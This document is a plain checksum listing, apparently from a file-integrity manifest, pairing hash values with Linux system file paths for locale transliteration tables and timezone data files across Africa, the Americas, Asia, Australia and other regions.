+fc7fb3ceafe970332ada5d311c8a1ff7 /usr/share/i18n/locales/translit_font +2c1e80f58ae24a9239da80dab21cfdea /usr/share/i18n/locales/translit_fraction +e51778b0210e1f5bd9538cd108031e98 /usr/share/i18n/locales/translit_hangul +eaa2e353f38bcde0779dc915b45596cd /usr/share/i18n/locales/translit_narrow +2ae0285c5d747cc90e5df108051fc382 /usr/share/i18n/locales/translit_neutral +0c32f71c459c82c64007b5944c87d1ab /usr/share/i18n/locales/translit_small +35ced4ab62f24bc95340203cb202ffb5 /usr/share/i18n/locales/translit_wide +ec6144a5d6bfdcda3f1df77d10e5352f /usr/share/i18n/locales/tt_RU +9529827c816ec4840b5dbcb6f0b7a4e9 /usr/share/i18n/locales/uk_UA +a3116f5e4244b9413244e7efd951f18f /usr/share/i18n/locales/ur_PK +c93ad13e46e8e08aa6793e3d00d091b8 /usr/share/i18n/locales/uz_UZ +3170f51c87509965b1d39fa1f38e01ae /usr/share/i18n/locales/vi_VN +7a8d77fff3be3062764f6ef9af5f3aad /usr/share/i18n/locales/yi_US +e582e3d3526610821f7151d404b6d9f3 /usr/share/i18n/locales/zh_CN +4ea9552259334d76c66be52ea4c9e9ff /usr/share/i18n/locales/zh_HK +683fdb012a69950961dd9ff92f67d928 /usr/share/i18n/locales/zh_SG +dd1246832f2b6cbc253fa612b172f616 /usr/share/i18n/locales/zh_TW +4e6dcc082ebc836bf554c108cc31714f /usr/share/locale/en_GB/LC_MESSAGES/libc.mo +c8766bc4c95d7e037e7df0011c81a38b /usr/share/locale/locale.alias +51b483b5e1fc34682c9b557b2eac3575 /usr/share/locale/en/man +0403adf1e7392db1105eaf433ed3a21c /usr/share/locale/en_SE/LC_MESSAGES/Lokkit.mo +667eaf22c7998d054df713b0d20a37a0 /usr/share/zoneinfo/Africa/Addis_Ababa +4bb3515a02f5789386360e076bbc80cf /usr/share/zoneinfo/Africa/Abidjan +193348a135d6e073652bd6a976f21058 /usr/share/zoneinfo/Africa/Accra +0a96e887c7105299e4e6e7873e9b5e9f /usr/share/zoneinfo/Africa/Blantyre +436d2e2d33c60b2413cfb0ef0e27ca48 /usr/share/zoneinfo/Africa/Algiers +667eaf22c7998d054df713b0d20a37a0 /usr/share/zoneinfo/Africa/Asmera +c0b5a299d5de5e5cf2e55f399e8b5f67 /usr/share/zoneinfo/Africa/Bamako +0b4cc560f192b0a3f5fcd0629f751da3 /usr/share/zoneinfo/Africa/Bangui +12ad58b6b4f91b3e0ebaf5421b60312f /usr/share/zoneinfo/Africa/Banjul +33235e69dbf1a837a0c788e065857a46 /usr/share/zoneinfo/Africa/Bissau +e65aaf3c82f51a7ba8d68da9ebb3b783 /usr/share/zoneinfo/Africa/Dar_es_Salaam +3b5556871272606fc69869285d22bbbb /usr/share/zoneinfo/Africa/Brazzaville +77cc861e2fc25001a436c70f092e0976 /usr/share/zoneinfo/Africa/Bujumbura +b890522db28dce84e42c7fe009ed7788 /usr/share/zoneinfo/Africa/Casablanca +e91dee271de7431c3448dd6a2519572b /usr/share/zoneinfo/Africa/Ceuta +acea3944efa196ee332039d609039cb1 /usr/share/zoneinfo/Africa/Conakry +2f636936a69f20af8c856a12dd3428ac /usr/share/zoneinfo/Africa/Dakar +21f86e3286e1b1adbc228fd2f0451fd3 /usr/share/zoneinfo/Africa/Johannesburg +dbb78c5f87aaf959f43f4c273c90e020 /usr/share/zoneinfo/Africa/Djibouti +0acb9f98a8c3cb936b4342bf785c07fd /usr/share/zoneinfo/Africa/Douala +fdbfeabed8c80fe4d190f32565819911 /usr/share/zoneinfo/Africa/El_Aaiun +83c05207129cf0d5aa705fe0d4780a27 /usr/share/zoneinfo/Africa/Freetown +f47be3c7c2549fc1234173bdb8b74e1c /usr/share/zoneinfo/Africa/Gaborone +9f42ab696a1b4d189af06b861203fbf3 /usr/share/zoneinfo/Africa/Harare +d8c4be0f2971f95ad5565d2fa8fe9169 /usr/share/zoneinfo/Africa/Khartoum +095b39868b64a2edb48a901418ba9ab9 /usr/share/zoneinfo/Africa/Kampala +4b37800d2aa9ddde113fc9d5d688af98 /usr/share/zoneinfo/Africa/Kinshasa +09bf9011e2b7bf228f9ae1c0ffdf490c /usr/share/zoneinfo/Africa/Kigali +d1a2caa8b49269d3198e8f60b6f8b49b /usr/share/zoneinfo/Africa/Libreville +6ac3db2b4eec920c21c7730317d4d4a3 /usr/share/zoneinfo/Africa/Lagos +77cc861e2fc25001a436c70f092e0976 /usr/share/zoneinfo/Africa/Lubumbashi +4ae21abf65ef26d2d732662e44f8fbbe /usr/share/zoneinfo/Africa/Lome +e729b54fd4dc3b2dd14642159f1ff467 /usr/share/zoneinfo/Africa/Luanda +1c0aeadcc0fe06fc197f38474b9a7c9a /usr/share/zoneinfo/Africa/Mogadishu +12d2702a5857db8423563b69b8d79c55 /usr/share/zoneinfo/Africa/Lusaka +62f2befa2d2457cea5ae64a7f4c2d25d /usr/share/zoneinfo/Africa/Malabo +e4fb673a6006b4249533054961b4c73d /usr/share/zoneinfo/Africa/Maputo +ee02cb735dc89f13c4dc62da83c1f54c /usr/share/zoneinfo/Africa/Maseru +b82e195e075169e8966c3cdbf150c6b4 /usr/share/zoneinfo/Africa/Mbabane +cc159838a58ab5b7cc0e2b4d82ff0e76 /usr/share/zoneinfo/Africa/Monrovia +d3b1514dcb52fab62cd9fad82dca8ae8 /usr/share/zoneinfo/Africa/Nairobi +31cd003527d9b1fd4afe510b58c153cd /usr/share/zoneinfo/Africa/Ndjamena +2fcea9a476c14ef765c53df26196c32f /usr/share/zoneinfo/Africa/Niamey +23916f09b702bec5eebf66ce747c777a /usr/share/zoneinfo/Africa/Nouakchott +73bd2722f7f7f4d9ebb735c629e4cdef /usr/share/zoneinfo/Africa/Ouagadougou +490197c4079132b3d13ff2d53b5f83e5 /usr/share/zoneinfo/Africa/Porto-Novo +335e7e0ed7f2db50479e5c08feceacbe /usr/share/zoneinfo/Africa/Sao_Tome +662929c5ff4a9ee263c0d1ed45888b9f /usr/share/zoneinfo/Africa/Timbuktu +a4478d1e83d12d9a381c21d38e697861 /usr/share/zoneinfo/Africa/Tunis +df2200717e6335e9f8d626494d19f47f /usr/share/zoneinfo/Africa/Windhoek +18167cde0c74d2c43a91e5945eb83548 /usr/share/zoneinfo/Africa/Tripoli +ebb72fd701bded8af364ddb97343095d /usr/share/zoneinfo/Africa/Cairo +5aa31bab43434d0a8eb39f644f921bb9 /usr/share/zoneinfo/America/Buenos_Aires +98128f8d5b758117f72db10200239e2a /usr/share/zoneinfo/America/Anguilla +82c379afee77a10a2f222e901605c1c4 /usr/share/zoneinfo/America/Antigua +94eeb9e4062229494161535413ddff94 /usr/share/zoneinfo/America/Araguaina +729d7fc9c7ab0f95e41f1012489fcc60 /usr/share/zoneinfo/America/Aruba +e8402dbe0c3f6db7c1fc9e402a89df4a /usr/share/zoneinfo/America/Asuncion +4740e465bb502628f55825f12d679fa9 /usr/share/zoneinfo/America/Barbados +72618cc12c0a81bb8fa12456e67bb1a8 /usr/share/zoneinfo/America/Belem +90ee33c4bc621ac33f2bb1addb742a91 /usr/share/zoneinfo/America/Belize +6448f638bd40665207249b94edb28bda /usr/share/zoneinfo/America/Boa_Vista +4979f81ba06c253664d3f2f3420dedf2 /usr/share/zoneinfo/America/Bogota +b5de4596b11c51aea3a6ef9a95341897 /usr/share/zoneinfo/America/Boise +c818af9bc4fd2363f4a4feff953356c0 /usr/share/zoneinfo/America/Indiana/Indianapolis +ea120bd4b95021c597ccd73aed2744c8 /usr/share/zoneinfo/America/Indiana/Marengo +8e5d7cc56bd3d6d42c06b60a61d22db4 /usr/share/zoneinfo/America/Indiana/Vevay +a83da9b3c2bf9c09b2a7af3ce954c0a1 /usr/share/zoneinfo/America/Indiana/Knox +db21dc8a6df0f3962a8f43dc71e1ea55 /usr/share/zoneinfo/America/Inuvik +4bf7f9465482735ceb6cbe87179b6a55 /usr/share/zoneinfo/America/Cambridge_Bay +2434dff46d1b5f3feea1aa4e0ed476a9 /usr/share/zoneinfo/America/Cancun +c55cdc3a2c27a55e927453241cf2a7e6 /usr/share/zoneinfo/America/Caracas +2b99afffc9ff50c8f4fa51c82b296902 /usr/share/zoneinfo/America/Catamarca +b334d0ffdbf5c0507d8748241d9a19fc /usr/share/zoneinfo/America/Cayenne +e5ec2d70551b76ec5893897527db3c39 /usr/share/zoneinfo/America/Cayman +c4f47de900b4c0ac5170a2d06addb19f /usr/share/zoneinfo/America/Chihuahua +4be8c4586ddae27bdb6d9d659965a11e /usr/share/zoneinfo/America/Cordoba +5512633fab501b4cbae9d164d5e8e2db /usr/share/zoneinfo/America/Costa_Rica +60353b0ef9f666febc045498d08e7fe7 /usr/share/zoneinfo/America/Cuiaba +05e9327f9e392e76eddab757d8e7efee /usr/share/zoneinfo/America/Curacao +5aac58dcd6b80efcbfc5c0c19eeb6318 /usr/share/zoneinfo/America/Dawson +6cdcd37aa3517f478f19c51aa7e0816e /usr/share/zoneinfo/America/Dawson_Creek +d74349de372024d84bc00a7e9da378b4 /usr/share/zoneinfo/America/Dominica +efba3d12c2b973655c9bc611692b7836 /usr/share/zoneinfo/America/Eirunepe +952dc4c8b21a0fa860f6593bef6cddff /usr/share/zoneinfo/America/El_Salvador +1e5cc7cc5ef58b6e3500106ed1f5ed1b /usr/share/zoneinfo/America/Fortaleza +5720823545b16c33ea94882fc8918caf /usr/share/zoneinfo/America/Glace_Bay +98903c40ef33a57353344f3c060ffd17 /usr/share/zoneinfo/America/Godthab +e0ce33b581c003135a466c4012e03936 /usr/share/zoneinfo/America/Goose_Bay +cd55632ac24596a5d5fd3424b7552746 /usr/share/zoneinfo/America/Grand_Turk +a9a531384a9f889f8a7dfd2a8abc4822 /usr/share/zoneinfo/America/Grenada +c24061a202a2da55bbd2ca608e834204 /usr/share/zoneinfo/America/Guadeloupe +9d11f2c393ce76974587f00a790abfb4 /usr/share/zoneinfo/America/Guatemala +a7983a99ae9e865cff90aca9a56ac0e7 /usr/share/zoneinfo/America/Guayaquil +4d570b84954377012008972d34dfbbe0 /usr/share/zoneinfo/America/Guyana +1fb31b743501959933a3e7bb16a1913b /usr/share/zoneinfo/America/Hermosillo +b6c9dfffd1233e59eb884aff65fb8213 /usr/share/zoneinfo/America/Kentucky/Monticello +0336aeb3fe6df4eff0e870292fd4c5ec /usr/share/zoneinfo/America/Kentucky/Louisville +f2305cec27fd676ae815edd3b2736cc7 /usr/share/zoneinfo/America/Iqaluit +846437bd9c3db617aa7aefba3e0c99d8 /usr/share/zoneinfo/America/Jujuy +da6be7131f120257b06c6b63f803429f /usr/share/zoneinfo/America/Juneau +0cf98b6c707d2ad29335f66091a6e310 /usr/share/zoneinfo/America/Martinique +a328940777113856d965bf4b6c0f1037 /usr/share/zoneinfo/America/La_Paz +3c599884c832c7ab3d3e541a1e5e3595 /usr/share/zoneinfo/America/Lima +149406f5233ebace1682c895f8e8d73e /usr/share/zoneinfo/America/Maceio +e0d83300f9200a6c82631a62e70381f4 /usr/share/zoneinfo/America/Managua +aa15e95de26a463fff913f85cb33e553 /usr/share/zoneinfo/America/Menominee +079700e5103a56df3bfcf2ba49f8a1fb /usr/share/zoneinfo/America/Mendoza +6dce1f927b4054ddb65d593381f34512 /usr/share/zoneinfo/America/Miquelon +bf274b9fd94fad8855fbe5da8c262139 /usr/share/zoneinfo/America/Merida +1732cbfdf15797f6d0216c27a14c82b4 /usr/share/zoneinfo/America/Port-au-Prince +0cf982bb38c5a9a63ccf197590552c29 /usr/share/zoneinfo/America/Monterrey +9ecf63a382df0f455ef226238c8be24b /usr/share/zoneinfo/America/Montevideo +f47d234597db32361c30171c0806223f /usr/share/zoneinfo/America/Montserrat +e039a1e9cde744fc66401e21012f991d /usr/share/zoneinfo/America/Nassau +d534ab9d1c824bc4871c644e1e2845e5 /usr/share/zoneinfo/America/Nipigon +58ede60af37cfc0f6f29fd6e843fff84 /usr/share/zoneinfo/America/Nome +e5e566c6d868b3a4d111b28729f0a736 /usr/share/zoneinfo/America/Panama +beee406f3c82dd0d5045c7296900a23a /usr/share/zoneinfo/America/Pangnirtung +a0d8be7821c1b5f8d1a9a3a32d73d0fd /usr/share/zoneinfo/America/Paramaribo +989abd045ee47dc5f19f26cbdc493171 /usr/share/zoneinfo/America/Rio_Branco +29cf4e2028b63259193fff5581cfe613 /usr/share/zoneinfo/America/Adak +9aaa7582599d6721d6e58f652e081bf5 /usr/share/zoneinfo/America/Port_of_Spain +dd12bae88306b56b7747a2159b2dac2f /usr/share/zoneinfo/America/Porto_Velho +4fbe56059c0c73f91b4a5cd691019c4a /usr/share/zoneinfo/America/Rainy_River +598aa6d3b2b5c1612272fcd0ac10fb79 /usr/share/zoneinfo/America/Rankin_Inlet +edc67e1aa61d5c23da0b21a38c65b7a5 /usr/share/zoneinfo/America/Recife +0e5cc4b673cd88dfe70a0c912e4b7268 /usr/share/zoneinfo/America/Rosario +c3fc9a93821b71a0ff49785e7cb104ba /usr/share/zoneinfo/America/Santo_Domingo +4f89fbf23a78662ce848dc608c5c5ce5 /usr/share/zoneinfo/America/Scoresbysund +687bc5ebdecb0e3965c3486659deac9d /usr/share/zoneinfo/America/St_Kitts +0b5cca27563a5f5954dad0838830a1c2 /usr/share/zoneinfo/America/St_Lucia +81f20c4e314b323c256f99995c25554a /usr/share/zoneinfo/America/St_Vincent +619819d6a3a00dd289ec2b03fdb8c148 /usr/share/zoneinfo/America/Swift_Current +7e0c5f21609ad6707d8c835bc671ae84 /usr/share/zoneinfo/America/Tegucigalpa +5d430c33973648731edfe573bfac64e0 /usr/share/zoneinfo/America/Thule +cd3dd92f983166886ade2b361fde206e /usr/share/zoneinfo/America/Thunder_Bay +92f5c4620f3d50245fa23fdbf132c006 /usr/share/zoneinfo/America/Tortola +24a25fc16166cc0146ed47e1fe9735bd /usr/share/zoneinfo/America/Yakutat +d5a43d8ccd4b84e409ba6c9fad9ad7ef /usr/share/zoneinfo/America/Yellowknife +97853dd48411bf87466aa8dc9f712885 /usr/share/zoneinfo/America/Winnipeg +cf327ccb9e9bcb2982db0bd4f14d8080 /usr/share/zoneinfo/America/Whitehorse +bd4333393bb17efb3d460d6441422405 /usr/share/zoneinfo/America/Vancouver +79ac74f0d29b663c3cce497765f83a1a /usr/share/zoneinfo/America/Virgin +29cf4e2028b63259193fff5581cfe613 /usr/share/zoneinfo/America/Atka +79ac74f0d29b663c3cce497765f83a1a /usr/share/zoneinfo/America/St_Thomas +edd8b0176e76cdcde84e8764e1a318e7 /usr/share/zoneinfo/America/St_Johns +f5575a1b10f0c267522f9e1a3ca6b888 /usr/share/zoneinfo/America/Sao_Paulo +8f031cb559484dda05d793524f47da88 /usr/share/zoneinfo/America/Santiago +02af1835231f2a553a197fcbd19e17b5 /usr/share/zoneinfo/America/Regina +da099ecaed47e4a0f009ec57952b5012 /usr/share/zoneinfo/America/Puerto_Rico +c818af9bc4fd2363f4a4feff953356c0 /usr/share/zoneinfo/America/Indianapolis +989abd045ee47dc5f19f26cbdc493171 /usr/share/zoneinfo/America/Porto_Acre +69a4d1d6d3b26e01b5219836a38fceb6 /usr/share/zoneinfo/America/Phoenix +c5c319e99113cb65827f904a0fbdf374 /usr/share/zoneinfo/America/Noronha +4894d160f97e824d37378342cfe73ff0 /usr/share/zoneinfo/America/New_York +d6f45d1f8c9115c7a866796ab8c8d722 /usr/share/zoneinfo/America/Montreal +1a5e9052b0cb341386281aa38d6c24a7 /usr/share/zoneinfo/America/Mexico_City +756b5f938bb85d66ec81b91636c0c44b /usr/share/zoneinfo/America/Mazatlan +24210f1a2615a304bf58b9f07f4f326a /usr/share/zoneinfo/America/Manaus +7c7836c1a47b82d402e88495c6001abf /usr/share/zoneinfo/America/Los_Angeles +0336aeb3fe6df4eff0e870292fd4c5ec /usr/share/zoneinfo/America/Louisville +598c3e5fa32cfd9ff03842dc3fc937e1 /usr/share/zoneinfo/America/Jamaica +a83da9b3c2bf9c09b2a7af3ce954c0a1 /usr/share/zoneinfo/America/Knox_IN +17cd6157d9f7ee497b854cb492b74401 /usr/share/zoneinfo/America/Havana +6a2961ab6cf33a142ad90288f51c5745 /usr/share/zoneinfo/America/Halifax +702aa6d78a9d247ce99d7b87133ef14d /usr/share/zoneinfo/America/Tijuana +60e67814b44375a53e5a83527133dfd3 /usr/share/zoneinfo/America/Edmonton +c818af9bc4fd2363f4a4feff953356c0 /usr/share/zoneinfo/America/Fort_Wayne +50e0aefb8663f8cb2daffa91c069046a /usr/share/zoneinfo/America/Shiprock +702aa6d78a9d247ce99d7b87133ef14d /usr/share/zoneinfo/America/Ensenada +e2ff9c7814832a4da88882f5900bdc79 /usr/share/zoneinfo/America/Detroit +50e0aefb8663f8cb2daffa91c069046a /usr/share/zoneinfo/America/Denver +15dfb869e437999666a9ad37b8df71fb /usr/share/zoneinfo/America/Chicago +796ec755d701a523eedf5115047d35a2 /usr/share/zoneinfo/America/Anchorage +a61a04d3dbc06b6e5ae0b110b74cf264 /usr/share/zoneinfo/Antarctica/DumontDUrville +4725727220193500e3052a5fafa7d3ce /usr/share/zoneinfo/Antarctica/Casey +4a45942116607d299093005c46d1e900 /usr/share/zoneinfo/Antarctica/Davis +e169c05ec2c25f6ae09d546600c70ea6 /usr/share/zoneinfo/Antarctica/South_Pole +b4afd2c75b40333ed131c2a09964a665 /usr/share/zoneinfo/Antarctica/Mawson +e920192fbf96b80388db06756321c748 /usr/share/zoneinfo/Antarctica/Palmer +5ea2662bf9da256e6c25d9d53a22aabf /usr/share/zoneinfo/Antarctica/Syowa +a4175484f9957947ca47db3a3895fdc2 /usr/share/zoneinfo/Antarctica/Vostok +e169c05ec2c25f6ae09d546600c70ea6 /usr/share/zoneinfo/Antarctica/McMurdo +fd888c3218f34e71dc57221143d44ccb /usr/share/zoneinfo/Arctic/Longyearbyen +131b24e6ae1aa244bbcfc2c81ef94359 /usr/share/zoneinfo/Asia/Calcutta +e45ce4fd28f793ffffc95c7de79e770e /usr/share/zoneinfo/Asia/Aden +034c256a80fd9e76a1ca4250a7eefdaa /usr/share/zoneinfo/Asia/Almaty +a35e3192d16a9a8722d3b4d7e6fedc30 /usr/share/zoneinfo/Asia/Amman +7b3ef232f15fb07cebe16a07a9b6ebe6 /usr/share/zoneinfo/Asia/Anadyr +c31f7778899f64cd0d91805ad1e3830b /usr/share/zoneinfo/Asia/Aqtau +e195c03bd1dc0accc99071e0ae7fe730 /usr/share/zoneinfo/Asia/Aqtobe +3ee918f9dccbedc969b2501f569e8225 /usr/share/zoneinfo/Asia/Baghdad +7ddf8abb9dc96b10dd122c1b66d01055 /usr/share/zoneinfo/Asia/Bahrain +a2b7fd50279acbf3cee41652f77cfb11 /usr/share/zoneinfo/Asia/Baku +4a296953fb56070ac1968ab136c78e99 /usr/share/zoneinfo/Asia/Bangkok +d1164209c41866e990f71f4dbf775208 /usr/share/zoneinfo/Asia/Beirut +f96d388f7d8cc58c136af9415b094107 /usr/share/zoneinfo/Asia/Bishkek +fc62f2d94fcfb0909ff156e2174d3092 /usr/share/zoneinfo/Asia/Brunei +d13bf0dfd7667c9bee876b8d366632b0 /usr/share/zoneinfo/Asia/Kuala_Lumpur +84980baf2be8ce3934c0adc550ec1bda /usr/share/zoneinfo/Asia/Chungking +7d171e759c62be73d0a935f919690d57 /usr/share/zoneinfo/Asia/Colombo +6afe54d283fe562912c0da8e3cf32d0b /usr/share/zoneinfo/Asia/Damascus +eff8b91d869f183810664a9488280e56 /usr/share/zoneinfo/Asia/Dili +06207c7a51fa7d7be81eed23832039f0 /usr/share/zoneinfo/Asia/Dubai +23b477db0cc84a740431accfc56f0f53 /usr/share/zoneinfo/Asia/Dushanbe +13bef0cb98e437f0a6b57e66c6b98904 /usr/share/zoneinfo/Asia/Gaza +316c57053df431ff91311f393d82b740 /usr/share/zoneinfo/Asia/Harbin +1d5c67162287c6703098b892fd9d7d34 /usr/share/zoneinfo/Asia/Hovd +e92131416d9a26ca466c88ecc0d0bb22 /usr/share/zoneinfo/Asia/Irkutsk +98fb60a24df5b28f309fb8a2956bbfa6 /usr/share/zoneinfo/Asia/Jakarta +802ae574869d80145a62803dbe205f7f /usr/share/zoneinfo/Asia/Jayapura +468adadd1ad58f27408f74ea42bd0bbd /usr/share/zoneinfo/Asia/Kabul +0ad5098ff1690a589a563d0c3594b4f9 /usr/share/zoneinfo/Asia/Kamchatka +ad52828d6c3a2c31ee2b69504a31fd91 /usr/share/zoneinfo/Asia/Karachi +e1d19e33a6572dc19d93168398412656 /usr/share/zoneinfo/Asia/Kashgar +51bd74fc2097ed0e3a843f8ea89d8106 /usr/share/zoneinfo/Asia/Katmandu +90ffefeeb16b04f37d3c4cc340223643 /usr/share/zoneinfo/Asia/Krasnoyarsk +924b06c218d919282501f338778aa495 /usr/share/zoneinfo/Asia/Novosibirsk +213e85612872ef8015e0352b004f3e38 /usr/share/zoneinfo/Asia/Kuching +ff78a86473d2feb35a3155a7a7191f25 /usr/share/zoneinfo/Asia/Kuwait +c5fe6e2975c4a8ad1be4c7f8f1924303 /usr/share/zoneinfo/Asia/Macao +a418faef6059b788c56a2ad37cf42c83 /usr/share/zoneinfo/Asia/Magadan +fa08b8c70df808269dfc40c6391fa47f /usr/share/zoneinfo/Asia/Manila +c9e99d8184b54d6e50c21e78e9e7499f /usr/share/zoneinfo/Asia/Muscat +dd3412f536357a288cdb1fd4524ac8a1 /usr/share/zoneinfo/Asia/Phnom_Penh +69c30f6d4bc7d7d1a4e1d93f793739ad /usr/share/zoneinfo/Asia/Omsk +14c4a828abcde14b76e82fa21a5ec27a /usr/share/zoneinfo/Asia/Ujung_Pandang +039b300437b0aa03da1a31607cc5811d /usr/share/zoneinfo/Asia/Pontianak +e9e43558ead9a7379c3796cb80bf97f9 /usr/share/zoneinfo/Asia/Pyongyang +bde939d0b44ac698afc4792e8646471d /usr/share/zoneinfo/Asia/Qatar +fbfc48ee066c1205d7fec64a3fc05706 /usr/share/zoneinfo/Asia/Rangoon +01237c88153dd1201b7d6fb9ddd6a74b /usr/share/zoneinfo/Asia/Riyadh +5ddad36c73abb0de70185a4e9a7fd2cc /usr/share/zoneinfo/Asia/Saigon +7159d21f26a2354d69886ff593fd6ea6 /usr/share/zoneinfo/Asia/Samarkand +44e17587252993ae41e5212667f278f0 /usr/share/zoneinfo/Asia/Tashkent +d46de433347ce59778af1e6ec7d934c7 /usr/share/zoneinfo/Asia/Tbilisi +05c1faba0d36e75e8ceaa6ad9c1105a1 /usr/share/zoneinfo/Asia/Vientiane +b1fc15c3615e1df5a3472b4702c18df2 /usr/share/zoneinfo/Asia/Urumqi +0e03d10cad1bf5bbe85ce337ff191cfd /usr/share/zoneinfo/Asia/Yekaterinburg +e4ecdaf53c898830e2bde1827568d535 /usr/share/zoneinfo/Asia/Vladivostok +197dcf1878f925bb8af7a49b1007d1f4 /usr/share/zoneinfo/Asia/Yakutsk +1b6a64ba30f7663f629a8b38cc803f15 /usr/share/zoneinfo/Asia/Ulaanbaatar +701946c555d5e8de7e986330ae19b335 /usr/share/zoneinfo/Asia/Yerevan +1802f2356ef48ea41a88eb350a030db7 /usr/share/zoneinfo/Asia/Tel_Aviv +1b6a64ba30f7663f629a8b38cc803f15 /usr/share/zoneinfo/Asia/Ulan_Bator +b8f0d6d105e1b12534a365119d01ccad /usr/share/zoneinfo/Asia/Tokyo +15345e63780afd3cbf0e0e6a8fa75313 /usr/share/zoneinfo/Asia/Thimphu +15345e63780afd3cbf0e0e6a8fa75313 /usr/share/zoneinfo/Asia/Thimbu +0edd969f5dd7cc3d1da58a35bb5f2dfd /usr/share/zoneinfo/Asia/Tehran +2cb7700780c8b4963f72c9dab967cffa /usr/share/zoneinfo/Asia/Taipei +742c2406b041ed40406094ab73c83e43 /usr/share/zoneinfo/Asia/Singapore +7f6b70f5f9d91b58b5d56c6a35faefb2 /usr/share/zoneinfo/Asia/Shanghai +49b064a11f619899d63d1cc455406995 /usr/share/zoneinfo/Asia/Seoul +7cdebc647a3533af161763a340cfe9f0 /usr/share/zoneinfo/Asia/Riyadh89 +1e11e2b26a718283d87041715c2a30c8 /usr/share/zoneinfo/Asia/Riyadh88 +6c5fee6f8a68cd1c326321970c2b0d9f /usr/share/zoneinfo/Asia/Riyadh87 +42135bbd5f922141b0bdf101c71cd82e /usr/share/zoneinfo/Asia/Nicosia +1802f2356ef48ea41a88eb350a030db7 /usr/share/zoneinfo/Asia/Jerusalem +84690d9f97e356c7c9138ac2a0781761 /usr/share/zoneinfo/Asia/Istanbul +69576b56ab708dbaeb70a132265f273c /usr/share/zoneinfo/Asia/Hong_Kong +68b6389ae47dce9c0d1b5e2db2082dc8 /usr/share/zoneinfo/Asia/Dhaka +68b6389ae47dce9c0d1b5e2db2082dc8 /usr/share/zoneinfo/Asia/Dacca +46862b46efd2727c2f7fec77c136898f /usr/share/zoneinfo/Asia/Ashkhabad +46862b46efd2727c2f7fec77c136898f /usr/share/zoneinfo/Asia/Ashgabat +5df95b7e8875a807f41e34a724671404 /usr/share/zoneinfo/Atlantic/Cape_Verde +ce05f34fded7d290eeb8f6607e711fba /usr/share/zoneinfo/Atlantic/Azores +209c576ee60e0cf2ea48e18a6ca549cc /usr/share/zoneinfo/Atlantic/Bermuda +b220ac66610da4a4d49dc58b2c81b85b /usr/share/zoneinfo/Atlantic/Canary +c03bfc048d3957a919fe34ea18b85254 /usr/share/zoneinfo/Atlantic/South_Georgia +493dc00cdad9f8f02daa6be311a13a27 /usr/share/zoneinfo/Atlantic/Faeroe +1d9aedd1fb23904ed42a0ff6e05bbaa9 /usr/share/zoneinfo/Atlantic/Madeira +320a737880759fee2d65268af0c38986 /usr/share/zoneinfo/Atlantic/St_Helena +a6cc1505807e094e9f2cf9e4bf959ce2 /usr/share/zoneinfo/Atlantic/Stanley +7e6686b4e68a68f5088d7b6784598dc6 /usr/share/zoneinfo/Atlantic/Reykjavik +fd888c3218f34e71dc57221143d44ccb /usr/share/zoneinfo/Atlantic/Jan_Mayen +a88a3d08c4635457f1714eaadc2906bd /usr/share/zoneinfo/Australia/Lindeman +baf2149867f08e16900a30ab083d0558 /usr/share/zoneinfo/Australia/West +9eb3f07d14596f0e07d7f23586edcf11 /usr/share/zoneinfo/Australia/LHI +baf2149867f08e16900a30ab083d0558 /usr/share/zoneinfo/Australia/Perth +a89f5b81d67e23c0e6491d0de7ee4c39 /usr/share/zoneinfo/Australia/Victoria +7292726aa7e5b4c31343754e273b3dd0 /usr/share/zoneinfo/Australia/ACT +a89f5b81d67e23c0e6491d0de7ee4c39 /usr/share/zoneinfo/Australia/Melbourne +9eb3f07d14596f0e07d7f23586edcf11 /usr/share/zoneinfo/Australia/Lord_Howe +abaa9a29012cf150070a1ab6ac348847 /usr/share/zoneinfo/Australia/Tasmania +abaa9a29012cf150070a1ab6ac348847 /usr/share/zoneinfo/Australia/Hobart +c8fc212be11708b7ca96df5aa7c86a45 /usr/share/zoneinfo/Australia/North +c8fc212be11708b7ca96df5aa7c86a45 /usr/share/zoneinfo/Australia/Darwin +5ae547613e4644a48093df09db9d131a /usr/share/zoneinfo/Australia/Yancowinna +5ae547613e4644a48093df09db9d131a /usr/share/zoneinfo/Australia/Broken_Hill +eced5af13d64a6fab60e1826e75f62f4 /usr/share/zoneinfo/Australia/Queensland +eced5af13d64a6fab60e1826e75f62f4 /usr/share/zoneinfo/Australia/Brisbane +a55c577a2e553fdc7261c634a156eb1b /usr/share/zoneinfo/Australia/South +7292726aa7e5b4c31343754e273b3dd0 /usr/share/zoneinfo/Australia/NSW +a55c577a2e553fdc7261c634a156eb1b /usr/share/zoneinfo/Australia/Adelaide +7292726aa7e5b4c31343754e273b3dd0 /usr/share/zoneinfo/Australia/Canberra +7292726aa7e5b4c31343754e273b3dd0 /usr/share/zoneinfo/Australia/Sydney +c5c319e99113cb65827f904a0fbdf374 /usr/share/zoneinfo/Brazil/DeNoronha +f5575a1b10f0c267522f9e1a3ca6b888 /usr/share/zoneinfo/Brazil/East +989abd045ee47dc5f19f26cbdc493171 /usr/share/zoneinfo/Brazil/Acre +24210f1a2615a304bf58b9f07f4f326a /usr/share/zoneinfo/Brazil/West +edd8b0176e76cdcde84e8764e1a318e7 /usr/share/zoneinfo/Canada/Newfoundland +97853dd48411bf87466aa8dc9f712885 /usr/share/zoneinfo/Canada/Central +cf327ccb9e9bcb2982db0bd4f14d8080 /usr/share/zoneinfo/Canada/Yukon +bd4333393bb17efb3d460d6441422405 /usr/share/zoneinfo/Canada/Pacific +02af1835231f2a553a197fcbd19e17b5 /usr/share/zoneinfo/Canada/Saskatchewan +6a2961ab6cf33a142ad90288f51c5745 /usr/share/zoneinfo/Canada/Atlantic +d6f45d1f8c9115c7a866796ab8c8d722 /usr/share/zoneinfo/Canada/Eastern +02af1835231f2a553a197fcbd19e17b5 /usr/share/zoneinfo/Canada/East-Saskatchewan +60e67814b44375a53e5a83527133dfd3 /usr/share/zoneinfo/Canada/Mountain +73755870b8c866a601c0d934f48120d6 /usr/share/zoneinfo/CET +dfad9062c5a29d6a54c32852b91d7e32 /usr/share/zoneinfo/Chile/EasterIsland +8f031cb559484dda05d793524f47da88 /usr/share/zoneinfo/Chile/Continental +9bd0933136f45090855cdd09c1be16c6 /usr/share/zoneinfo/Etc/Universal +36c4ce7f05984aa56c34510ca2e0b36c /usr/share/zoneinfo/Etc/GMT+1 +bca03c74466be764cbf63c27a79c0eea /usr/share/zoneinfo/Etc/GMT+10 +2b3f6bb27ce40d88f4cf142ba8c89cdf /usr/share/zoneinfo/Etc/GMT+11 +e8550a1acda4e26d24667cc59e4bbfbf /usr/share/zoneinfo/Etc/GMT+12 +a90e1ace711116799c07b8beb0fb64ba /usr/share/zoneinfo/Etc/GMT+2 